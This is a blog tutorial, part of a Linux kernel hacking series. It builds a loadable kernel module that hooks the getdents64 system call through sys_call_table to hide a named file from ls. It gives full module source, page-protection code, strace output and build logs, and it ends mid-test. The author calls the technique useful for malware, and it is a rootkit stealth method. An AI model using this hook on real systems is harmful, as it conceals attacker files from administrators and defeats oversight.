System Call Hooking

Posted on Thu 10 July 2014 in Linux Kernel Hacking

Welcome to the third post on Linux kernel hacking. In the first we looked at how to create a basic LKM and in the second we created a character device and communicated with it.

Now we are going to do something which is obviously very useful for malware, system call hooking.

Hooking a system call means that you are able to manipulate data sent from userland applications to the operating system (OS) and vice versa.

This means that you can hide things from applications running on the OS and influence their behaviour.

Here we will develop an LKM that will hide files from the unix ls command.

Determining Relevant System Calls

The first step is to determine the system calls used by ls to list the filenames in a directory.

strace is a tool that can be used to trace every system call used by an application:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
root@dev:~/lkms# strace ls
execve("/bin/ls", ["ls"], [/* 18 vars */]) = 0
brk(0)                                  = 0x9073000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7717000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=116616, ...}) = 0
mmap2(NULL, 116616, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb76fa000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libselinux.so.1", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0pP\0\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0644, st_size=124904, ...}) = 0
mmap2(NULL, 130140, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb76da000
mmap2(0xb76f8000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1d) = 0xb76f8000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/librt.so.1", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\30\0\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0644, st_size=30684, ...}) = 0
mmap2(NULL, 33360, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb76d1000
mmap2(0xb76d8000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6) = 0xb76d8000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libacl.so.1", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0\32\0\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0644, st_size=34436, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb76d0000
mmap2(NULL, 37244, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb76c6000
mmap2(0xb76ce000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x7) = 0xb76ce000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\240o\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1441960, ...}) = 0
mmap2(NULL, 1456504, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7562000
mprotect(0xb76bf000, 4096, PROT_NONE)   = 0
mmap2(0xb76c0000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x15d) = 0xb76c0000
mmap2(0xb76c3000, 10616, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb76c3000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libdl.so.2", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0`\n\0\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0644, st_size=9844, ...}) = 0
mmap2(NULL, 12408, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb755e000
mmap2(0xb7560000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1) = 0xb7560000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libpthread.so.0", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\220L\0\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=117009, ...}) = 0
mmap2(NULL, 98816, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7545000
mmap2(0xb755a000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x14) = 0xb755a000
mmap2(0xb755c000, 4608, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb755c000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libattr.so.1", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0\20\0\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0644, st_size=17864, ...}) = 0
mmap2(NULL, 20656, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb753f000
mmap2(0xb7543000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x3) = 0xb7543000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb753e000
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb753d000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb753d720, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xb7543000, 4096, PROT_READ)   = 0
mprotect(0xb755a000, 4096, PROT_READ)   = 0
mprotect(0xb7560000, 4096, PROT_READ)   = 0
mprotect(0xb76c0000, 8192, PROT_READ)   = 0
mprotect(0xb76ce000, 4096, PROT_READ)   = 0
mprotect(0xb76d8000, 4096, PROT_READ)   = 0
mprotect(0xb76f8000, 4096, PROT_READ)   = 0
mprotect(0x8063000, 4096, PROT_READ)    = 0
mprotect(0xb7736000, 4096, PROT_READ)   = 0
munmap(0xb76fa000, 116616)              = 0
set_tid_address(0xb753d788)             = 20395
set_robust_list(0xb753d790, 0xc)        = 0
futex(0xbf8906c0, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 1, NULL, bf8906d0) = -1 EAGAIN (Resource temporarily unavailable)
rt_sigaction(SIGRTMIN, {0xb75496e0, [], SA_SIGINFO}, NULL, 8) = 0
rt_sigaction(SIGRT_1, {0xb7549b70, [], SA_RESTART|SA_SIGINFO}, NULL, 8) = 0
rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0
getrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY}) = 0
uname({sys="Linux", node="dev", ...})  = 0
statfs64("/sys/fs/selinux", 84, 0xbf8905cc) = -1 ENOENT (No such file or directory)
statfs64("/selinux", 84, {f_type="EXT2_SUPER_MAGIC", f_bsize=4096, f_blocks=4905183, f_bfree=1413721, f_bavail=1158784, f_files=1256640, f_ffree=807533, f_fsid={-583175880, 1006898437}, f_namelen=255, f_frsize=4096}) = 0
brk(0)                                  = 0x9073000
brk(0x9094000)                          = 0x9094000
open("/proc/filesystems", O_RDONLY|O_LARGEFILE) = 3
fstat64(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7716000
read(3, "nodev\tsysfs\nnodev\trootfs\nnodev\tr"..., 1024) = 260
read(3, "", 1024)                       = 0
close(3)                                = 0
munmap(0xb7716000, 4096)                = 0
open("/usr/lib/locale/locale-archive", O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such file or directory)
open("/usr/share/locale/locale.alias", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=2570, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7716000
read(3, "# Locale name alias data base.\n#"..., 4096) = 2570
read(3, "", 4096)                       = 0
close(3)                                = 0
munmap(0xb7716000, 4096)                = 0
open("/usr/lib/locale/en_GB.UTF-8/LC_IDENTIFICATION", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/lib/locale/en_GB.utf8/LC_IDENTIFICATION", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=366, ...}) = 0
mmap2(NULL, 366, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7716000
close(3)                                = 0
open("/usr/lib/i386-linux-gnu/gconv/gconv-modules.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=26064, ...}) = 0
mmap2(NULL, 26064, PROT_READ, MAP_SHARED, 3, 0) = 0xb770f000
close(3)                                = 0
futex(0xb76c2a8c, FUTEX_WAKE_PRIVATE, 2147483647) = 0
open("/usr/lib/locale/en_GB.UTF-8/LC_MEASUREMENT", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/lib/locale/en_GB.utf8/LC_MEASUREMENT", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=23, ...}) = 0
mmap2(NULL, 23, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb770e000
close(3)                                = 0
open("/usr/lib/locale/en_GB.UTF-8/LC_TELEPHONE", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/lib/locale/en_GB.utf8/LC_TELEPHONE", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=56, ...}) = 0
mmap2(NULL, 56, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb770d000
close(3)                                = 0
open("/usr/lib/locale/en_GB.UTF-8/LC_ADDRESS", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/lib/locale/en_GB.utf8/LC_ADDRESS", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127, ...}) = 0
mmap2(NULL, 127, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb770c000
close(3)                                = 0
open("/usr/lib/locale/en_GB.UTF-8/LC_NAME", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/lib/locale/en_GB.utf8/LC_NAME", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=77, ...}) = 0
mmap2(NULL, 77, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb770b000
close(3)                                = 0
open("/usr/lib/locale/en_GB.UTF-8/LC_PAPER", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/lib/locale/en_GB.utf8/LC_PAPER", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=34, ...}) = 0
mmap2(NULL, 34, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb770a000
close(3)                                = 0
open("/usr/lib/locale/en_GB.UTF-8/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/lib/locale/en_GB.utf8/LC_MESSAGES", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
close(3)                                = 0
open("/usr/lib/locale/en_GB.utf8/LC_MESSAGES/SYS_LC_MESSAGES", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=52, ...}) = 0
mmap2(NULL, 52, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7709000
close(3)                                = 0
open("/usr/lib/locale/en_GB.UTF-8/LC_MONETARY", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/lib/locale/en_GB.utf8/LC_MONETARY", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=290, ...}) = 0
mmap2(NULL, 290, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7708000
close(3)                                = 0
open("/usr/lib/locale/en_GB.UTF-8/LC_COLLATE", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/lib/locale/en_GB.utf8/LC_COLLATE", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=1170770, ...}) = 0
mmap2(NULL, 1170770, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb741f000
close(3)                                = 0
open("/usr/lib/locale/en_GB.UTF-8/LC_TIME", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/lib/locale/en_GB.utf8/LC_TIME", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=2470, ...}) = 0
mmap2(NULL, 2470, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7707000
close(3)                                = 0
open("/usr/lib/locale/en_GB.UTF-8/LC_NUMERIC", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/lib/locale/en_GB.utf8/LC_NUMERIC", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=54, ...}) = 0
mmap2(NULL, 54, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7706000
close(3)                                = 0
open("/usr/lib/locale/en_GB.UTF-8/LC_CTYPE", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/lib/locale/en_GB.utf8/LC_CTYPE", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=256360, ...}) = 0
mmap2(NULL, 256360, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb73e0000
close(3)                                = 0
ioctl(1, SNDCTL_TMR_TIMEBASE or TCGETS, {B38400 opost isig icanon echo ...}) = 0
ioctl(1, TIOCGWINSZ, {ws_row=25, ws_col=80, ws_xpixel=0, ws_ypixel=0}) = 0
open(".", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY|O_CLOEXEC) = 3
getdents64(3, /* 29 entries */, 32768)  = 1024
getdents64(3, /* 0 entries */, 32768)   = 0
close(3)                                = 0
fstat64(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 1), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7705000
write(1, "hello.c      hello.o\t     revers"..., 71hello.c      hello.o      reverse_app     reverse-app.c  reverse.mod.o
) = 71
write(1, "hello.ko     Makefile\t     rever"..., 67hello.ko     Makefile         reverse-app     reverse.c      reverse.o
) = 67
write(1, "hello.mod.c  modules.order   rev"..., 77hello.mod.c  modules.order   reverse-app2    reverse.ko     reverse-test-app
) = 77
write(1, "hello.mod.o  Module.symvers  rev"..., 79hello.mod.o  Module.symvers  reverse-app2.c  reverse.mod.c  reverse-test-app.c
) = 79
close(1)                                = 0
munmap(0xb7705000, 4096)                = 0
close(2)                                = 0
exit_group(0)                           = ?

This gives us lots of information, most of it is useless to us right now so we can use some shell-fu to get rid of it and only display the actual system calls that ls is using:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@dev:~/lkms# strace ls 1>/dev/null 2>/tmp/ls.strace; cat /tmp/ls.strace | cut -d'(' -f1 | sort -u
access
brk
close
execve
exit_group
fstat64
futex
getdents64
getrlimit
ioctl
mmap2
mprotect
munmap
open
read
rt_sigaction
rt_sigprocmask
set_robust_list
set_thread_area
set_tid_address
statfs64
uname
write

Now we have a decent list of system calls to look at we can use man to look at what these system calls do.

After you have done that you will notice that getdents64 get directory entries is the one we want to look at, here is the prototype shown on the man page:

1
2
       int getdents(unsigned int fd, struct linux_dirent *dirp,
                    unsigned int count);

The man page also shows the declaration of the linux_dirent structure:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
           struct linux_dirent {
               unsigned long  d_ino;     /* Inode number */
               unsigned long  d_off;     /* Offset to next linux_dirent */
               unsigned short d_reclen;  /* Length of this linux_dirent */
               char           d_name[];  /* Filename (null-terminated) */
                                   /* length is actually (d_reclen - 2 -
                                      offsetof(struct linux_dirent, d_name) */
               /*
               char           pad;       // Zero padding byte
               char           d_type;    // File type (only since Linux 2.6.4;
                                         // offset is (d_reclen - 1))
               */

           }

This will help us when figuring out how to iterate through the list returned by this syscall.

Taking A Closer Look

If you want to have a look at how the system call is implemented, you can see where in the kernel it is implemented in /usr/include/asm-generic/unistd.h:

1
2
3
4
root@dev:~/lkms# grep -B 1 getdents64 /usr/include/asm-generic/unistd.h 
/* fs/readdir.c */
#define __NR_getdents64 61
__SC_COMP(__NR_getdents64, sys_getdents64, compat_sys_getdents64)

So getdents64 is implemented in fs/readdir.c in the kernel source.

Its worth noting that it might not tell you the relevant source file on the line above, it depends on if there were multiple syscalls implemented in the same file, have a proper look through /usr/include/asm-generic/unistd.h to see what I mean.

On my test machine this file is in /usr/src/linux-source-3.14/fs/readdir.c because I have the source package installed:

1
2
3
root@dev:~/lkms# grep getdents64 /usr/src/linux-source-3.14/fs/readdir.c 
SYSCALL_DEFINE3(getdents64, unsigned int, fd,
        struct linux_dirent64 __user *, dirent, unsigned int, count)

We don't really need to know this for what we want to do but its handy to know if you are going to be kernel hacking.

One thing this has shown us is that getdents64 takes the linux_dirent64 struct and not the linux_dirent struct. After some more grepping we can see that this struct is defined in include/linux/dirent.h as:

1
2
3
4
5
6
7
struct linux_dirent64 {
    u64     d_ino;
    s64     d_off;
    unsigned short  d_reclen;
    unsigned char   d_type;
    char        d_name[0];
};

This is slightly different to linux_dirent and this means we will have to include linux/dirent.h in our LKM.

If we look at the number of entries that was returned to ls, we can see that it is the exact number of files in the current directory:

1
2
3
4
5
root@dev:~/lkms# strace ls 2>&1 | grep getdents64
getdents64(3, /* 29 entries */, 32768)  = 1024
getdents64(3, /* 0 entries */, 32768)   = 0
root@dev:~/lkms# ls -la | wc -l
30

There is 1 more in the ls -la because of the total line at the top.

Using all of the information we have gathered we can create our hook function:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
asmlinkage int sys_getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count)
{
        int rtn;
        struct linux_dirent64 *cur = dirp;
        int i = 0;
        rtn = original_getdents64(fd, dirp, count);
        while (i < rtn) {
                if (strncmp(cur->d_name, FILE_NAME, strlen(FILE_NAME)) == 0) {
                        int reclen = cur->d_reclen;
                        char *next_rec = (char *)cur + reclen;
                        int len = (int)dirp + rtn - (int)next_rec;
                        memmove(cur, next_rec, len);
                        rtn -= reclen;
                        continue;
                }
                i += cur->d_reclen;
                cur = (struct linux_dirent*) ((char*)dirp + i);
        }
        return rtn;
}

Here we just run the actual system call, loop through the struct that is returned, searching each filename (linux_dirent64->d_name) with the static constant FILE_NAME, and if it matches recalculating what is being returned.

The sys_call_table

The sys_call_table is the table kept by the kernel containing all of the system calls and pointers to where they are in memory.

We need to do 2 things regarding this, firstly find the address of the sys_call_table and secondly figure out how to make this table writable (because by default this table is read only).

The first part is pretty easy providing you don't want a portable version. The current kernels System.map file will tell us this:

1
2
root@dev:~/lkms# grep sys_call_table /boot/System.map-`uname -r`
c1454100 R sys_call_table

Easy enough, now to figure out how to make this writable.

To do this we need to change the page table entry relating to the address where sys_call_table is stored.

We can get this entry using the lookup_address function defined in arch/x86/mm/pageattr.c:

1
2
3
4
pte_t *lookup_address(unsigned long address, unsigned int *level)
{
        return __lookup_address_in_pgd(pgd_offset_k(address), address, level);
}

As you can see it returns a pointer to some type of pte_t structure. After a grep through the source again the definition of this structure is in arch/x86/include/asm/pgtable_64_types.h:

1
typedef struct { pteval_t pte; } pte_t;

This just contains 1 member (pteval_t pte), luckily the definition of pteval_t is in the same file:

1
typedef unsigned long   pteval_t;

So basically this is a structure of 1 member of type unsigned long. The question now becomes how do we manipulate this to make the section of memory writable.

After more grepping through the kernel source it appears the answer to our questions is in arch/x86/include/asm/pgtable_types.h, here is an excerpt:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#define _PAGE_BIT_PRESENT       0       /* is present */
#define _PAGE_BIT_RW            1       /* writeable */
#define _PAGE_BIT_USER          2       /* userspace addressable */
#define _PAGE_BIT_PWT           3       /* page write through */
#define _PAGE_BIT_PCD           4       /* page cache disabled */
#define _PAGE_BIT_ACCESSED      5       /* was accessed (raised by CPU) */
#define _PAGE_BIT_DIRTY         6       /* was written to (raised by CPU) */
#define _PAGE_BIT_PSE           7       /* 4 MB (or 2MB) page */
#define _PAGE_BIT_PAT           7       /* on 4KB pages */
#define _PAGE_BIT_GLOBAL        8       /* Global TLB entry PPro+ */
#define _PAGE_BIT_UNUSED1       9       /* available for programmer */
#define _PAGE_BIT_IOMAP         10      /* flag used to indicate IO mapping */
#define _PAGE_BIT_HIDDEN        11      /* hidden by kmemcheck */
#define _PAGE_BIT_PAT_LARGE     12      /* On 2MB or 1GB pages */
#define _PAGE_BIT_SPECIAL       _PAGE_BIT_UNUSED1
#define _PAGE_BIT_CPA_TEST      _PAGE_BIT_UNUSED1
#define _PAGE_BIT_SPLITTING     _PAGE_BIT_UNUSED1 /* only valid on a PSE pmd */
#define _PAGE_BIT_NX           63       /* No execute: only valid after cpuid check */
...
#define _PAGE_PRESENT   (_AT(pteval_t, 1) << _PAGE_BIT_PRESENT)
#define _PAGE_RW        (_AT(pteval_t, 1) << _PAGE_BIT_RW)
#define _PAGE_USER      (_AT(pteval_t, 1) << _PAGE_BIT_USER)
#define _PAGE_PWT       (_AT(pteval_t, 1) << _PAGE_BIT_PWT)
#define _PAGE_PCD       (_AT(pteval_t, 1) << _PAGE_BIT_PCD)
#define _PAGE_ACCESSED  (_AT(pteval_t, 1) << _PAGE_BIT_ACCESSED)
#define _PAGE_DIRTY     (_AT(pteval_t, 1) << _PAGE_BIT_DIRTY)
#define _PAGE_PSE       (_AT(pteval_t, 1) << _PAGE_BIT_PSE)
#define _PAGE_GLOBAL    (_AT(pteval_t, 1) << _PAGE_BIT_GLOBAL)
#define _PAGE_UNUSED1   (_AT(pteval_t, 1) << _PAGE_BIT_UNUSED1)
#define _PAGE_IOMAP     (_AT(pteval_t, 1) << _PAGE_BIT_IOMAP)
#define _PAGE_PAT       (_AT(pteval_t, 1) << _PAGE_BIT_PAT)
#define _PAGE_PAT_LARGE (_AT(pteval_t, 1) << _PAGE_BIT_PAT_LARGE)
#define _PAGE_SPECIAL   (_AT(pteval_t, 1) << _PAGE_BIT_SPECIAL)
#define _PAGE_CPA_TEST  (_AT(pteval_t, 1) << _PAGE_BIT_CPA_TEST)
#define _PAGE_SPLITTING (_AT(pteval_t, 1) << _PAGE_BIT_SPLITTING)

As you can see, the writable bit is 1 and can be referenced with _PAGE_RW.

Using this information its easy to write our functions to make memory writable and readonly again:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
int set_page_rw(unsigned long addr)
{
    unsigned int level;
    pte_t *pte = lookup_address(addr, &level);
    if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
    return 0;
}

int set_page_ro(unsigned long addr)
{
    unsigned int level;
    pte_t *pte = lookup_address(addr, &level);
    pte->pte = pte->pte &~_PAGE_RW;
    return 0;
}

Putting It All Together

Now we have enough information to build our LKM:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/moduleparam.h>
#include <linux/unistd.h>
#include <linux/semaphore.h>
#include <linux/dirent.h>
#include <asm/cacheflush.h>

MODULE_AUTHOR("0xe7, 0x1e");
MODULE_DESCRIPTION("Hide a file from getdents syscalls");
MODULE_LICENSE("GPL");

void **sys_call_table;

#define FILE_NAME "thisisatestfile.txt"

asmlinkage int (*original_getdents64) (unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);

asmlinkage int sys_getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count)
{
        int rtn;
        struct linux_dirent64 *cur = dirp;
        int i = 0;
        rtn = original_getdents64(fd, dirp, count);
        while (i < rtn) {
                if (strncmp(cur->d_name, FILE_NAME, strlen(FILE_NAME)) == 0) {
                        int reclen = cur->d_reclen;
                        char *next_rec = (char *)cur + reclen;
                        int len = (int)dirp + rtn - (int)next_rec;
                        memmove(cur, next_rec, len);
                        rtn -= reclen;
                        continue;
                }
                i += cur->d_reclen;
                cur = (struct linux_dirent*) ((char*)dirp + i);
        }
        return rtn;
}

int set_page_rw(unsigned long addr)
{
    unsigned int level;
    pte_t *pte = lookup_address(addr, &level);
    if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
    return 0;
}

int set_page_ro(unsigned long addr)
{
    unsigned int level;
    pte_t *pte = lookup_address(addr, &level);
    pte->pte = pte->pte &~_PAGE_RW;
    return 0;
}

static int __init getdents_hook_init(void)
{

    sys_call_table = (void*)0xc1454100;
    original_getdents64 = sys_call_table[__NR_getdents64];

    set_page_rw(sys_call_table);
    sys_call_table[__NR_getdents64] = sys_getdents64_hook;
        return 0;
}

static void __exit getdents_hook_exit(void)
{
    sys_call_table[__NR_getdents64] = original_getdents64;
    set_page_ro(sys_call_table);
        return 0;
}

module_init(getdents_hook_init);
module_exit(getdents_hook_exit);

I've set the static constant FILE_NAME to thisisatestfile.txt. Now to edit the Makefile:

1
2
3
4
5
6
7
8
9
obj-m += hello.o
obj-m += reverse.o
obj-m += hidefile.o

all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Now to compile and test:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
root@dev:~/lkms# make
make -C /lib/modules/3.14-kali1-686-pae/build M=/root/lkms modules
make[1]: Entering directory `/usr/src/linux-headers-3.14-kali1-686-pae'
  CC [M]  /root/lkms/hidefile.o
/root/lkms/hidefile.c: In function ‘sys_getdents64_hook’:
/root/lkms/hidefile.c:36:21: warning: assignment from incompatible pointer type [enabled by default]
/root/lkms/hidefile.c: In function ‘getdents_hook_init’:
/root/lkms/hidefile.c:63:2: warning: passing argument 1 of ‘set_page_rw’ makes integer from pointer without a cast [enabled by default]
/root/lkms/hidefile.c:41:5: note: expected ‘long unsigned int’ but argument is of type ‘void **’
/root/lkms/hidefile.c: In function ‘getdents_hook_exit’:
/root/lkms/hidefile.c:71:2: warning: passing argument 1 of ‘set_page_ro’ makes integer from pointer without a cast [enabled by default]
/root/lkms/hidefile.c:49:5: note: expected ‘long unsigned int’ but argument is of type ‘void **’
/root/lkms/hidefile.c:72:9: warning: ‘return’ with a value, in function returning void [enabled by default]
  Building modules, stage 2.
  MODPOST 3 modules
  LD [M]  /root/lkms/hidefile.ko
make[1]: Leaving directory `/usr/src/linux-headers-3.14-kali1-686-pae'
root@dev:~/lkms# touch thisisatestfile.txt
root@dev:~/lkms# ls
hello.c      hello.o         hidefile.mod.o  Module.symvers  reverse-app2.c  reverse.mod.c     reverse-test-app.c
